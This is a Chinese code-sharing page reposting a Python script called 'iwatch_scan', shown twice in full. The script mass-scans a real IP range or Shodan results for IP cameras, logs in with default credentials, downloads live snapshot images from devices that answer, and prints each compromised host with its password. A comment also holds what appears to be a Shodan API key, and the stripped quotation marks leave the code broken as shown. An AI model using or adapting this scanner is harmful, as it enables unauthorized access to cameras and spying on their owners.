码迷,mamicode.com
首页 > 其他好文 > 详细

iwatch_scan

时间:2017-05-24 12:37:52      阅读:215      评论:0      收藏:0      [点我收藏+]

标签:timeout   join   use   sys   error:   status   color   oca   net   

# coding=utf-8

import threading
import requests
import random
import queue
import sys
import shodan
import re
from IPy import IP

def MyThread(iplist):

    threads = []
    use_queue = queue.Queue()
    for host in iplist:
        use_queue.put(host)

    for x in range(0, 100):
        threads.append(tThread(use_queue))

    for t in threads:
        t.start()
    for t in threads:
        t.join()

class tThread(threading.Thread):
    def __init__(self, use_queue):
        threading.Thread.__init__(self)
        self.use_queue = use_queue

    def run(self):

        while not self.use_queue.empty():
            host = self.use_queue.get()
            try:
                getinfo(host)
            except:
                continue

def shodanSearch(keywords,key):

    SHODAN_API_KEY = key
    api = shodan.Shodan(SHODAN_API_KEY)

    iplist = []

    try:
        results = api.search(keywords)
        #total = int(results[‘total‘])
        for result in results[matches]: iplist.append(result[ip_str])
        return iplist

    except shodan.APIError as e:
        print(Error: %s % e)




def getinfo(host):

    username = "admin"
    password = 123456
    #password = [‘12345‘, ‘admin123‘, ‘888888‘, ‘123456‘, ‘111111‘, ‘54321‘, ‘11111‘, ‘admin‘]
    timeout = 1
    try:
        r = requests.get(url=http:// + str(host) + /m.html, auth=(username, password), timeout=timeout)
        print(r.url,r.headers["server"],r.status_code)
        result = r.text
        title = re.findall(r<title>(.+?)</title>, result)[0]
        imgsrc = http:// + host + /cgi-bin/net_jpeg.cgi?ch=0&time=1478140502690
        localPath = sys.path[0] + /picture/ + host.replace(:, -) + .jpg

        if Live in title:
            print("======================================================")
            try:
                img = requests.get(imgsrc, auth=(username, password), stream=True)
                with open(localPath, wb) as f:
                    for chunk in img.iter_content(chunk_size=1024):
                        if chunk:
                            f.write(chunk)
                            f.flush()
                    f.close()
            except Exception as e:
                pass

            aimData = {
                "host": host,
                "username": username,
                "password": password
            }
            print(aimData)
    except Exception as e:
        pass


if __name__ == __main__:

    #iplist = shodanSearch(keywords = ‘mini_httpd/1.19 19dec2003 country:"CN"‘,key = "B8qqU2tsMmk9Dv3LYQP8LFyVtYt6jGoZ")
    iplist = IP("210.59.0.0/16")
    print(len(iplist))

    try:
        MyThread(iplist)
    except KeyboardInterrupt:
        print("tuichu")
        sys.exit()# coding=utf-8

import threading
import requests
import random
import queue
import sys
import shodan
import re
from IPy import IP

def MyThread(iplist):

    threads = []
    use_queue = queue.Queue()
    for host in iplist:
        use_queue.put(host)

    for x in range(0, 100):
        threads.append(tThread(use_queue))

    for t in threads:
        t.start()
    for t in threads:
        t.join()

class tThread(threading.Thread):
    def __init__(self, use_queue):
        threading.Thread.__init__(self)
        self.use_queue = use_queue

    def run(self):

        while not self.use_queue.empty():
            host = self.use_queue.get()
            try:
                getinfo(host)
            except:
                continue

def shodanSearch(keywords,key):

    SHODAN_API_KEY = key
    api = shodan.Shodan(SHODAN_API_KEY)

    iplist = []

    try:
        results = api.search(keywords)
        #total = int(results[‘total‘])
        for result in results[matches]: iplist.append(result[ip_str])
        return iplist

    except shodan.APIError as e:
        print(Error: %s % e)




def getinfo(host):

    username = "admin"
    password = 123456
    #password = [‘12345‘, ‘admin123‘, ‘888888‘, ‘123456‘, ‘111111‘, ‘54321‘, ‘11111‘, ‘admin‘]
    timeout = 1
    try:
        r = requests.get(url=http:// + str(host) + /m.html, auth=(username, password), timeout=timeout)
        print(r.url,r.headers["server"],r.status_code)
        result = r.text
        title = re.findall(r<title>(.+?)</title>, result)[0]
        imgsrc = http:// + host + /cgi-bin/net_jpeg.cgi?ch=0&time=1478140502690
        localPath = sys.path[0] + /picture/ + host.replace(:, -) + .jpg

        if Live in title:
            print("======================================================")
            try:
                img = requests.get(imgsrc, auth=(username, password), stream=True)
                with open(localPath, wb) as f:
                    for chunk in img.iter_content(chunk_size=1024):
                        if chunk:
                            f.write(chunk)
                            f.flush()
                    f.close()
            except Exception as e:
                pass

            aimData = {
                "host": host,
                "username": username,
                "password": password
            }
            print(aimData)
    except Exception as e:
        pass


if __name__ == __main__:

    #iplist = shodanSearch(keywords = ‘mini_httpd/1.19 19dec2003 country:"CN"‘,key = "B8qqU2tsMmk9Dv3LYQP8LFyVtYt6jGoZ")
    iplist = IP("210.59.0.0/16")
    print(len(iplist))

    try:
        MyThread(iplist)
    except KeyboardInterrupt:
        print("tuichu")
        sys.exit()

 

iwatch_scan

标签:timeout   join   use   sys   error:   status   color   oca   net   

原文地址:http://www.cnblogs.com/lzhd24/p/6898017.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!